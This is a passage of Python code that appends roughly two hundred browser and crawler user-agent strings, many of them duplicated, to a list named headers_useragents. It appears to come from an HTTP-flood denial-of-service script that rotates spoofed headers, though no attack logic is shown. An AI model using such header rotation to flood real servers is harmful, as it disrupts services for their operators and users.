  1585.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1586.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1587.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1588.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1589.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1590.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1591.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1592.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1593.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1594.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1595.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1596.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1597.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1598.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1599.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1600.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1601.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1602.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1603.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1604.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1605.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1606.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1607.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1608.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1609.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1610.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1611.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1612.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1613.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1614.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1615.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1616.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1617.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1618.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1619.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1620.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1621.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1622.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1623.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1624.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1625.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1626.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1627.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1628.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1629.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1630.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1631.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1632.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1633.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1634.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1635.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1636.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1637.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1638.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1639.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1640.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1641.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1642.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1643.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1644.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1645.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1646.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1647.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1648.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1649.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1650.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1651.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1652.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1653.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1654.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1655.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1656.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1657.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1658.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1659.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1660.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1661.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1662.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1663.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1664.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1665.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1666.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1667.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1668.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1669.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1670.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1671.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1672.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1673.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1674.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1675.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1676.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1677.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1678.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1679.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1680.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1681.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1682.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1683.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1684.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1685.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1686.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1687.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1688.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1689.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1690.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1691.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1692.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1693.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1694.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1695.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1696.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1697.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1698.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1699.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1700.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1701.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1702.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1703.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1704.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1705.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1706.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1707.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1708.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1709.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1710.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1711.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1712.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1713.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1714.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1715.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1716.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1717.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1718.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1719.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1720.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1721.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1722.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1723.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1724.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1725.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1726.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1727.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1728.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1729.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1730.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1731.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1732.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1733.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1734.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1735.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1736.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1737.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1738.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1739.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1740.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1741.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1742.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1743.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1744.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1745.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1746.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1747.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1748.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1749.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1750.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1751.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1752.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1753.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1754.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1755.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1756.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1757.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1758.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1759.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1760.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1761.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1762.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1763.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1764.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1765.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1766.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1767.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1768.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1769.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1770.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1771.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1772.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1773.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1774.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1775.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1776.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1777.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1778.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1779.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
